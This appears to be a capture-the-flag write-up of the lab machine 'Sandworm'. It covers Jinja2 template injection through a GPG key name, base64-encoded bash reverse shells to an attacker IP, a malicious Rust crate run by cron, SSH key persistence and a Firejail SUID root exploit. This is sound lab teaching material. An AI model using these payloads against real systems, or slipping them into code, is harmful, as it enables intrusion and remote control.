← Back to posts
Sandworm chains multiple techniques to reach root: Server-Side Template Injection injected through a GPG key's name field (Jinja2), lateral movement via hardcoded credentials found in an HTTPie session file, privilege escalation through a writable Rust crate recompiled by a cron job, and finally a Firejail SUID exploit for root.
Foothold (SSTI/GPG)
→
atlas
→
silentobserver
→
atlas (SSH)
→
root
Reconnaissance
Nmap
Full port scan followed by service enumeration:
nmap
SP1R4 @ kali )-[ ~ ]
└$ nmap -sC -sV -p- --min-rate 5000 -oN sandworm.nmap <TARGET_IP>
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to https://ssa.htb/
443/tcp open ssl/http nginx 1.18.0 (Ubuntu)
| ssl-cert: Subject: commonName=SSA/organizationName=Secret Spy Agency
| emailAddress=atlas@ssa.htb
Port Service Notes
22 SSH OpenSSH 8.9p1 Ubuntu
80 HTTP nginx — redirects to HTTPS
443 HTTPS nginx — ssa.htb
/etc/hosts
SP1R4 @ kali )-[ ~ ]
└$ echo "<TARGET_IP> ssa.htb" | sudo tee -a /etc/hosts
Web Enumeration
Visiting https://ssa.htb loads a Secret Spy Agency website. Nothing exploitable on the surface. Run directory enumeration:
gobuster
SP1R4 @ kali )-[ ~ ]
└$ gobuster dir -u https://ssa.htb/ -w /usr/share/dirb/wordlists/common.txt -k
/about (Status: 200)
/admin (Status: 302) [--> /login?next=%2Fadmin]
/contact (Status: 200)
/guide (Status: 200) <-- interesting
/login (Status: 200)
/pgp (Status: 200)
/process (Status: 405)
/guide exposes a PGP signature verification form with two fields: Public Key and Signed Text . The key's Real Name field is reflected back in the verification result — a classic injection surface.
Exploitation — SSTI via GPG
Confirming the injection point
Generate a GPG key using a Jinja2 arithmetic expression as the Real Name field. If the template engine evaluates it, we have SSTI.
gpg — test key with SSTI payload
SP1R4 @ kali )-[ ~ ]
└$ gpg --gen-key
Real name: {{7*7}}
Email address: test@test.com
pub rsa3072 2023-07-03 [SC]
88E980212F2E97F5121B32FED8045E508EF2F016
uid {{7*7}} <test@test.com>
# Export & sign a test message
SP1R4 @ kali )-[ ~ ]
└$ gpg --armor --export test@test.com > public_key.asc
SP1R4 @ kali )-[ ~ ]
└$ echo "Test" > message.txt && gpg --clear-sign --output signed.asc message.txt
Submit both to the /guide verification form. The result shows 49 as the signer identity — Jinja2 SSTI confirmed.
GOODSIG — Good signature from "49 " [unknown] — {{7*7}} was evaluated server-side.
Remote code execution
Delete the test key, regenerate with an RCE payload in the name field:
gpg — RCE payload
SP1R4 @ kali )-[ ~ ]
└$ gpg --delete-secret-keys test@test.com && gpg --delete-keys test@test.com
# New key — name field is our payload
SP1R4 @ kali )-[ ~ ]
└$ gpg --gen-key
Real name: {{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
# Verification result:
uid=1000(atlas) gid=1000(atlas) groups=1000(atlas)
Reverse shell — base64 bypass
Direct shell payloads fail because GPG rejects < and > in the name field. Base64-encode the payload to bypass:
reverse shell via base64
# Encode the shell command
SP1R4 @ kali )-[ ~ ]
└$ echo "bash -c 'bash -i >& /dev/tcp/<YOUR_IP>/4444 0>&1'" | base64
YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xOS80NDQ0IDA+JjEnCg==
# GPG key name field:
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('echo "YmFzaCAt..." | base64 -d | bash').read() }}
# Listener
SP1R4 @ kali )-[ ~ ]
└$ nc -lvnp 4444
Ncat: Listening on 0.0.0.0:4444 ...
connect to [10.10.14.19] from (UNKNOWN) [10.10.11.218] 52546
bash: no job control in this shell
SP1R4 @ kali )-[ ~ ]
└$
Shell obtained as atlas .
Lateral Movement — atlas → silentobserver
Credential discovery
Poking around atlas's home directory, the .config folder contains an HTTPie session file with stored credentials:
atlas — hunting for creds
SP1R4 @ kali )-[ ~ ]
└$ cat ~/.config/httpie/sessions/localhost_5000/admin.json
{
"auth": {
"password": "quietLiketheWind22" ,
"type": null,
"username": "silentobserver"
}
}
SSH as silentobserver
ssh — silentobserver
SP1R4 @ kali )-[ ~ ]
└$ ssh silentobserver@ssa.htb
silentobserver@ssa.htb's password: quietLiketheWind22
Welcome to Ubuntu 22.04.2 LTS
SP1R4 @ kali )-[ ~ ]
└$ cat user.txt
3c97f86************************
🚩 User flag captured.
PrivEsc — silentobserver → atlas (stable shell)
Process enumeration with pspy
Running pspy64 reveals a recurring cron job compiling and executing /opt/tipnet — a Rust binary.
pspy64
SP1R4 @ kali )-[ ~ ]
└$ ./pspy64
CMD: UID=1000 | cargo run --release -- /opt/tipnet/src/main.rs
CMD: UID=1000 | /opt/tipnet/target/release/tipnet
Writable Rust crate
tipnet.d shows the binary imports a local logger crate. Checking its permissions:
finding the writable crate
SP1R4 @ kali )-[ ~/opt/tipnet/target/debug ]
└$ cat tipnet.d
/opt/crates/logger/src/lib.rs /opt/tipnet/src/main.rs
SP1R4 @ kali )-[ ~ ]
└$ ls -l /opt/crates/logger/src/lib.rs
-rw- rw -r-- 1 atlas silentobserver 732 May 4 17:12 lib.rs
silentobserver has write access. Inject a reverse shell into lib.rs:
lib.rs — malicious Rust payload
// /opt/crates/logger/src/lib.rs
use std::process::Command;
pub fn log (user: &str, query: &str, justification: &str) {
let output = Command::new("bash" )
.arg("-c" )
.arg("bash -i >& /dev/tcp/<YOUR_IP>/4444 0>&1" )
.output()
.expect("failed to execute process" );
}
Wait for the cron job to recompile tipnet. Shell fires back:
Plant an SSH key for persistence:
atlas — SSH persistence
SP1R4 @ kali )-[ ~ ]
└$ echo "<YOUR_PUBLIC_KEY>" >> ~/.ssh/authorized_keys
SP1R4 @ kali )-[ ~ ]
└$ ssh -i id_rsa atlas@ssa.htb
SP1R4 @ kali )-[ ~ ]
└$
Privilege Escalation — Root via Firejail
Discovery
Running linpeas.sh surfaces a non-standard SUID binary:
linpeas — SUID
SP1R4 @ kali )-[ ~ ]
└$ ./linpeas.sh | grep -i firejail
-rwsr-x--- 1 root jailer 1777952 Nov 29 2022 /usr/local/bin/firejail
firejail has the SUID bit set and is exploitable via a known local privilege escalation. Transfer the exploit and run it — it requires a two-terminal approach:
firejail exploit — two terminals
# Terminal 1 — run the exploit
SP1R4 @ kali )-[ ~ ]
└$ chmod +x exploit.py && python3 exploit.py
You can now run 'firejail --join= 24654 ' in another terminal
where 'su -' should grant you a root shell.
# Terminal 2 — join the firejail session
SP1R4 @ kali )-[ ~ ]
└$ firejail --join=24654
changing root to /proc/24654/root
Child process initialized in 9.92 ms
SP1R4 @ kali )-[ ~ ]
└$ su -
root@sandworm :~# cat /root/root.txt
d5be56ad************************
🚩 Root flag captured. Machine pwned.
Summary
Stage Technique Tool
Foothold SSTI via GPG name field (Jinja2) gpg
Shell Base64-encoded reverse shell bash, nc
Lateral move Hardcoded creds in HTTPie session ssh
Shell upgrade Malicious Rust crate injected via cron nano
Root Firejail SUID local privilege escalation python3
Key commands
quick reference
# GPG key workflow
gpg --gen-key # Real name: <SSTI_PAYLOAD>
gpg --armor --export <email> > pub.asc
gpg --clear-sign --output signed.asc msg.txt
gpg --delete-secret-keys <email>
gpg --delete-keys <email>
# Firejail privesc
python3 exploit.py # note the session number
firejail --join=<number>
su -